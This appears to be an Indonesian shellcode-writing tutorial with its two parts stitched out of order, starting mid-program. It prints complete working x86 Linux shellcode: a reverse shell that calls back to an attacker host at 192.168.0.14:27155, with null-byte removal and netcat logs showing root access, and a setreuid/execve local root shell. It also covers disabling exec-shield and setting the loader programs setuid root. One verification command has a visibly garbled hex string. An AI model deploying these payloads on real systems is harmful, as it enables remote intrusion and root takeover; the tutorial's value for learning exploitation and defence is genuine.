        remote = connect(soc,(struct sockaddr*)&serv_addr,16);
        dup2(soc,0);
        dup2(soc,1);
        dup2(soc,2);
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        execve(shell[0],shell,0);
}

Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...

Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini kita compile dan eksekusi program reverse sebagai root untuk mensimulasikan exploit yang mendapatkan root shell.

$ gcc reverse.c -o reverse
$ sudo ./reverse

Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
pwd
/home/admin
exit

Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah koneksi terbentuk, attacker bisa mulai mengirimkan command untuk dieksekusi di komputer target.

Reverse Connecting dalam Assembly

Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh lagi. Langsung saja kita membuat program yang sama dalam bahasa assembly.

BITS 32
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor edx,edx
 
;soc=socket(2,1,0)
push eax ; push 0
push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX = address of [2,1,0]
inc bl ; EBX=1 means socket() call
mov al,102
int 0x80
 
; ESI = soc socket handler
mov esi,eax 
 
;remote = connect(soc,(struct sockaddr*)&serv_addr,16);
push edx ; push 0
push long 0x0E00A8C0 ; push sin_addr.s_addr value
push word 0x136A ; push sin_port value
xor ecx,ecx ; ecx = 0
mov cl,2 ; cx = 2
push word cx ; push sin_family value
mov ecx,esp ; ECX = address of struct sockaddr
push byte 16 ; push 16
push ecx ; push address of struct sockaddr
push esi ; push soc handler
mov ecx,esp ; ECX = address of [soc,&serv_addr,16]
mov bl,3 ; EBX=3 means connect()
mov al,102
int 0x80
 
; EBX = remote socket handler
mov ebx,esi
 
;dup2(soc,0)
xor ecx,ecx ; ECX = 0 = stdin file handler
mov al,63
int 0x80
 
;dup2(soc,1)
inc ecx ; ECX = 1 = stdout file handler
mov al,63
int 0x80
 
;dup(soc,2)
inc ecx ; ECX = 2 = stderr file handler
mov al,63
int 0x80
 
;execve "/bin//sh"
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port binding dan saya juga sudah memberi komentar untuk memperjelas di source di atas. Kita langsung saja compile dan link program assembly tersebut.

$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o

Sekarang kita harus mendisassemble program tersebut dan mengambil opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti port binding shellcode sebelumnya.

$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Menghilangkan Byte Terlarang

Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode tersebut yang berasal dari instruksi “push long 0x0E00A8C0″. Byte 0×00 tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14. Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.

Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push 0x0E00 dan push 0xA8C0. Push nilai 0x0E00 tidak bisa dilakukan secara langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh karena itu saya harus membuat nilai 0x0E00 tanpa melibatkan angka 00 dengan cara:

; DX = 0
mov dl,0x0E ; DX = 0x000E
shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00

Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push long 0x0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.

b2 0e                   mov    dl,0x0E
66 c1 e2 08             shl    dx,8
66 52                   push   dx
66 68 c0 a8             push word  0xA8C0

Setelah mengganti “push long 0x0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:

$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:

char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(void) {
        asm("jmp shellcode");
}

Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi jangan lupa sebelumnya di komputer attacker harus dijalankan server yang listen di 192.168.0.14:27155.

$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode

Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit

Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan reverse connecting. Dalam artikel berikutnya saya akan membahas mengenai stack based buffer overflow exploit, di sana kita bisa memakai shellcode yang kita buat di artikel ini.

Seringkali shellcode terlihat dalam source code exploit berbentuk untaian kode-kode hexa. Sebenarnya apa itu shellcode dan apa makna di balik kode-kode hexa itu? Dalam artikel ini saya akan menjelaskan tentang shellcode dan kita juga akan praktek belajar membuat shellcode sendiri.

Shellcode, Exploit dan Vulnerability

Shellcode, exploit dan vulnerability adalah 3 saudara kandung. Semua berawal dari keteledoran sang  programmer sehingga programnya mengandung vulnerability yang bisa di-exploit untuk membuat program tersebut menjalankan code apapun yang diinginkan hacker (arbitrary code execution), code ini disebut dengan shellcode.

Dalam kondisi normal, program mengikuti instruksi yang dibuat oleh penciptanya (programmer). Hacker bisa membuat program mengikuti perintahnya dan mengabaikan perintah penciptanya dengan mengexploit vulnerability yang mengakibatkan arbitrary code execution

Kenapa disebut shellcode? Bila hacker bisa membuat program mengeksekusi code apapun yang dia mau, maka code apakah yang dipilihnya? Pilihan terbaik adalah code yang memberikan dia shell sehingga dia bisa memberi perintah lain yang dia mau dengan leluasa. Oleh karena itu code itu disebut shell-code.

Bila diibaratkan misile: exploit adalah misilnya, sedangkan shellcode adalah warhead yang bisa diisi dengan apa saja seperti bahan peledak, nuklir, senjata kimiawi atau senjata biologis terserah keinginan penyerang.

Walaupun umumnya shellcode memberikan shell, shellcode tidak selalu memberikan shell. Attacker bebas menentukan code apa yang akan dieksekusi di komputer korban. Shellcode bisa melakukan apa saja mulai dari menghapus file, memformat hardisk, mengirimkan data, menginstall program baru dsb terserah keinginan attacker.

Arbitrary Code Execution

Arbitrary code execution adalah kondisi dimana attacker dapat menginjeksi sembarang code/instruksi ke dalam suatu proses yang sedang running, kemudian code tersebut dieksekusi. Code yang diinjeksi itu disebut dengan shellcode. Code dalam shellcode adalah dalam bentuk bahasa mesin atau opcode. Biasanya opcode ini tidak dituliskan dalam nilai binary karena akan menjadi sangat panjang, melainkan memakai nilai hexa yang lebih kompak.

Antara Code dan Data

Sebenarnya code adalah data juga yang isinya adalah instruksi yang bisa dieksekusi komputer. Dalam memori, secara internal, data dan code tidak ada bedanya karena keduanya hanyalah untaian simbol 1 dan 0.

Saya beri contoh simple: Apakah nilai 50 hexa atau 01010000 binary di suatu lokasi memori adalah code atau data?

• Bila 50 hexa dianggap sebagai data bertipe karakter, maka itu adalah kode ascii untuk huruf ‘P’.
• Bila 50 hexa dianggap sebagai code, maka itu adalah instruksi PUSH EAX (dalam mode 32 bit) atau PUSH AX (dalam mode 16 bit).

Begitu juga dengan string “ABCD”, bisa dianggap sebagai data maupun code, perhatikan contoh di bawah ini:

1
2
3
4
5
6
7
8
9
10
11
12

$ perl -e 'print "ABCD"'|xxd
0000000: 4142 4344                                ABCD
$ perl -e 'print "ABCD"'|ndisasm -b 16 -
00000000  41                inc cx
00000001  42                inc dx
00000002  43                inc bx
00000003  44                inc sp
$ perl -e 'print "ABCD"'|ndisasm -b 32 -
00000000  41                inc ecx
00000001  42                inc edx
00000002  43                inc ebx
00000003  44                inc esp

Dalam contoh di atas ABCD secara internal disimpan sebagai 0×41, 0×42, 0×43 dan 0×44, yaitu kode ASCII dari karakter ‘A’,'B’,'C’,'D’ (lihat baris ke-2). Namun data yang sama bisa juga dianggap sebagai code 16 bit atau 32 bit seperti pada baris ke-4 s/d ke-7 untuk code 16 bit dan baris ke-9 s/d ke-12 untuk code 32 bit.

Sekarang pertanyaannya adalah kapan suatu data diperlakukan sebagai data dan kapan diperlakukan sebagai code? Jawabannya adalah ketika suatu data ditunjuk oleh instruction pointer, atau program counter yang biasanya ada pada register EIP (IP pada sistem 16 bit), maka data di lokasi itu adalah code yang akan dieksekusi.

Data apapun yang berada di lokasi memori yang alamatnya disimpan pada EIP akan dianggap sebagai code.

Sebagai demonstrasi, program kecil di bawah ini menunjukkan bahwa sebuah data bisa juga dianggap sebagai code bila ditunjuk oleh EIP.

1
2
3
4
5
6
7

#include <stdio.h>
char str[] = "ABCHIJK\xc3";
int main(void) {
        printf("%s\n",str); // str as argument of printf()
        ((void (*)(void))str)(); // str()
        return 0;
}

$ gcc codedata.c -o codedata
$ ./codedata
ABCHIJKÃ

Ada yang menarik dari program kecil di atas, yaitu pada variabel str yang berisi string ABCHIJK plus karakter berkode ASCII 0xc3. Pada baris ke-4, variabel str digunakan sebagai argument untuk fungsi printf(), dalam hal ini berarti str dianggap sebagai data. Sedangkan pada baris ke-5, str dipanggil seperti halnya fungsi, dalam hal ini str dianggap sebagai code. Perhatikan bahwa str sejatinya adalah bertipe pointer to char, namun bisa dipanggil seperti fungsi karena telah dicasting ke pointer to function dengan (void (*)(void)).

Dalam contoh di atas kita mengeksekusi code yang ada di variabel str, berarti kita mengeksekusi code yang berada di area data (bukan area code). Kernel sekarang banyak yang menerapkan proteksi sehingga kita tidak bisa mengeksekusi code yang tidak berada di area memori yang khusus untuk code. Dalam lingkungan windows, dikenal sebagai Data Execution Prevention, dan di Linux juga ada dikenal sebagai Exec-Shield.

Agar contoh dalam artikel ini bisa bekerja, anda harus mematikan Exec-Shield :
echo “0″ > /proc/sys/kernel/exec-shield

Perhatikan gambar di bawah ini. Gambar tersebut adalah hasil disassemble dengan gdb. Terlihat bahwa str terletak di lokasi 0×8049590. Pada <main+24> ada instruksi CALL yang merupakan pemanggilan fungsi printf() dengan str (0×8049590) sebagai argumen fungsi. Dalam hal ini berarti str dianggap sebagai data bertipe string. Namun pada <main+34> ada instruksi CALL ke lokasi str, hal ini berarti program akan lompat (jump) ke lokasi str dan mengeksekusi instruksi yang ada di lokasi str. Dalam hal ini berarti str dianggap sebagai code. Perhatikan pula bahwa pada str saya menambahkan \xc3 di akhir str karena \xc3 adalah opcode instruksi RET sehingga program akan kembali ke fungsi main dan melanjutkan fungsi main sampai selesai.

Mulai Membuat Shellcode

Sebenarnya isi variable str pada program di atas adalah shellcode, jadi sebenarnya kita sudah berhasil membuat shellcode pertama. Selamat! Namun shellcode yang kita buat tersebut tidak melakukan sesuatu yang berarti karena isinya hanya INC dan DEC kemudian RET. Namun dari contoh tersebut setidaknya kita sudah memahami bahwa shellcode tidak lain hanyalah string, yaitu kumpulan karakter yang juga merupakan opcode instruksi bahasa mesin.

Sekarang kita akan mulai membuat shellcode yang benar-benar spawn sebuah shell. Dalam artikel sebelumnya mengenai belajar assembly saya sudah menjelaskan cara memanggil system call dengan interrupt 80 hexa. Shellcode yang akan kita buat berisi instruksi untuk memanggil system call. Perhatikan source bahasa C di bawah ini yang jika dieksekusi akan spawn shell.

1
2
3
4
5
6
7

#include <sys/types.h>
#include <unistd.h>
int main(void) {
        char* args[] = {"/bin/sh",NULL};
        setreuid(0,0);
        execve("/bin/sh",args,NULL);
}

Program di atas hanya memanggil system call setreuid() dan execve(). Shellcode yang akan kita buat juga akan melakukan hal yang sama seperti source di atas, bedanya hanya dibuat dalam assembly.

System Call setreuid()

setreuid() digunakan untuk mengeset userID real dan efektif. System call ini sangat penting sebab program yang memiliki SUID bit, biasanya men-drop root privilege bila sudah tidak dibutuhkan lagi. Oleh karena itu kita harus mengembalikan privilege itu sebelum spawn shell. Deklarasi system call setreuid() adalah:

int setreuid(uid_t ruid, uid_t euid);
ruid = real user id
euid = effective user id

Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum melakukan interrupt adalah:

• EAX: 0×46 atau 70 (Nomor system call dari file unistd.h)
• EBX: 0×0 (Parameter pertama, real uid yaitu 0)
• ECX: 0×0 (Parameter kedua, effective uid yaitu 0)

Potongan assembly di bawah ini adalah instruksi untuk memanggil system call setreuid(0,0).

1
2
3
4
5
6

; setreuid(0,0)
xor eax,eax
mov al,0x46 ; EAX = 0x46
xor ebx,ebx  ; EBX = 0
xor ecx,ecx  ; ECX = 0
int 0x80

System Call execve()

Execve adalah system call untuk mengeksekusi suatu executable. Semua data, variable, heap, stack dsb milik proses yang memanggil execve akan hilang dan digantikan dengan program yang baru dieksekusi. Namun processID, dan open file handle (termasuk stdout,stdin,stderr) diwariskan ke program yang baru dieksekusi. Deklarasi system call execve adalah seperti di bawah ini:

int execve(const char *filename, char *const argv[],char *const envp[]);

Ada 3 argumen yang diperlukan, namun kita hanya akan memakai 2 argumen. Argumen envp kita isi dengan NULL karena kita tidak membutuhkan variabel environment. Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum memanggil interrupt adalah:

• EAX: 0xb atau 11 (nomor system call)
• EBX: alamat string “/bin/sh”
• ECX: alamat array of string, {“/bin/sh”,NULL}
• EDX: 0 karena envp diisi NULL.

Potongan assembly di bawah ini memanggil system call execve untuk mengeksekusi /bin/sh.

1
2
3
4
5
6
7
8
9
10
11
12

; execve("/bin/sh",{"/bin/sh",0x0},0x0)
xor eax,eax
push eax ; push 0x0
push 0x68732f2f ; push "//sh"
push 0x6e69622f ; push "/bin"
mov ebx,esp ; EBX = ESP = "/bin//sh\x0"
push eax ; push 0x0
push ebx ; push "/bin//sh\x0"
mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0}
xor edx,edx ; EDX = 0
mov al, 0xb ; EAX = 0xb
int 0x80

EBX harus diisi dengan address string berisi nama file executable yang akan dieksekusi. Kita gunakan stack untuk membuat string “/bin//sh” seperti pada gambar di atas. Dengan cara ini kita akan mendapatkan address string executable filename pada register ESP. Isi ESP ini kemudian disalin ke register EBX. Mungkin ada yang mengira ada kesalahan ketik dalam string tersebut, karena ada double slash sebelum “sh”. Ini bukan kesalahan ketik, namun sengaja agar pada saat push tepat mempush 4 byte (“//sh”), dan kelebihan satu slash tidak jadi masalah.

ECX harus diisi dengan array of string {“/bin//sh”,NULL}. Sekali lagi kita juga memakai stack dan register EBX yang sebelumnya sudah berisi address string “/bin//sh”. Pada gambar di atas pertama kita harus mempush NULL (0×0) ke dalam stack sebagai elemen array index ke-1, kemudian diikuti dengan mempush address string “/bin//sh” dari EBX sebagai elemen array index ke-0. Dengan cara ini ESP akan berisi address array of string {“/bin//sh”,NULL}. Nilai ESP inilah yang disalin ke register ECX.

Shellcode dalam Assembly

Mari kita gabungkan potongan-potongan assembly di atas untuk membentuk shellcode yang utuh seperti pada source code assembly di bawah ini.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

section .text
global _start
 
_start:
; setreuid(0,0)
xor eax,eax
mov al,0x46 ; EAX = 0x46
xor ebx,ebx  ; EBX = 0
xor ecx,ecx  ; ECX = 0
int 0x80
 
; execve("/bin/sh",{"/bin/sh",0x0},0x0)
xor eax,eax
push eax ; push 0x0
push 0x68732f2f ; push "//sh"
push 0x6e69622f ; push "/bin"
mov ebx,esp ; EBX = ESP = "/bin//sh\x0"
push eax ; push 0x0
push ebx ; push "/bin//sh\x0"
mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0}
xor edx,edx ; EDX = 0
mov al, 0xb ; EAX = 0xb
int 0x80

Mari kita compile dan link source assembly di atas.

1
2
3
4
5
6
7
8
9
10

$ nasm -f elf basicshellcode.asm
$ ld -o basicshellcode basicshellcode.o
$ sudo chown root:root basicshellcode;sudo chmod 4755 basicshellcode
Password:
$ ls -l basicshellcode
-rwsr-xr-x 1 root root 623 Dec  3 14:52 basicshellcode
$ ./basicshellcode
sh-3.2# whoami
root
sh-3.2# exit

Converting OBJDUMP Output to Shellcode

Hore berhasil! Sekarang tahap finishing, yaitu mengambil opcode dari program di atas. Kita gunakan objdump untuk ini.

$ objdump -M intel -d -j .text ./basicshellcode
 
./basicshellcode:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       b0 46                   mov    al,0x46
 8048064:       31 db                   xor    ebx,ebx
 8048066:       31 c9                   xor    ecx,ecx
 8048068:       cd 80                   int    0x80
 804806a:       31 c0                   xor    eax,eax
 804806c:       50                      push   eax
 804806d:       68 2f 2f 73 68          push   0x68732f2f
 8048072:       68 2f 62 69 6e          push   0x6e69622f
 8048077:       89 e3                   mov    ebx,esp
 8048079:       50                      push   eax
 804807a:       53                      push   ebx
 804807b:       89 e1                   mov    ecx,esp
 804807d:       31 d2                   xor    edx,edx
 804807f:       b0 0b                   mov    al,0xb
 8048081:       cd 80                   int    0x80

Dari output objdump di atas, kita hanya perlu mengambil opcode dalam kolom yang ditengah kemudian menggandengnya menjadi sebuah string. Untuk memudahkan mengambil opcode saya membuat script satu baris berikut:

$ objdump -d ./basicshellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

Mari kita verifikasi sekali lagi dengan perl dan ndisasm.

$ perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' |ndisasm -u -
00000000  31C0              xor eax,eax
00000002  B046              mov al,0x46
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  CD80              int 0x80
0000000A  31C0              xor eax,eax
0000000C  50                push eax
0000000D  682F2F7368        push dword 0x68732f2f
00000012  682F62696E        push dword 0x6e69622f
00000017  89E3              mov ebx,esp
00000019  50                push eax
0000001A  53                push ebx
0000001B  89E1              mov ecx,esp
0000001D  31D2              xor edx,edx
0000001F  B00B              mov al,0xb
00000021  CD80              int 0x80

Hasilnya sama, berarti shellcode tersebut benar. Sekarang kita lanjutkan dengan mengeksekusi shellcode tersebut dengan program C di bawah ini:

1
2
3
4
5
6
7

char shellcode[] =
        "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0"
        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
        "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
int main() {
        ((void (*)(void))shellcode)(); // shellcode()
}

$ gcc shellcode4.c -o shellcode4
$ sudo chown root:root shellcode4; sudo chmod 4755 shellcode4
Password:
$ ls -l ./shellcode4
-rwsr-xr-x 1 root root 4748 Dec  3 16:25 ./shellcode4
$ ./shellcode4
sh-3.2# whoami
root
sh-3.2# exit

Oke, selamat kita telah berhasil membuat shellcode yang menghasilkan shell di local. Pada bagian ke-2, saya akan menjelaskan pembuatan shellcode untuk remote exploit.